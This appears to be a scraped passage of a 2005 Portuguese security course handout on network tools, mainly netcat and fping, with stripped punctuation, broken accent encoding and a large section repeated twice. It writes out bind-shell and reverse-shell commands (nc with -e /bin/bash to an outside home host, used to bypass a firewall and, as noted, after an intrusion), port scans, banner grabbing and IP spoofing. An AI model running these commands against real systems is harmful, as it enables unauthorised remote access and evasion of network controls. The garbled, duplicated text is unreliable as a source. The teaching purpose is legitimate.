Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 49: Curso de segurança em linux e redes em geral

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 50: Curso de segurança em linux e redes em geral

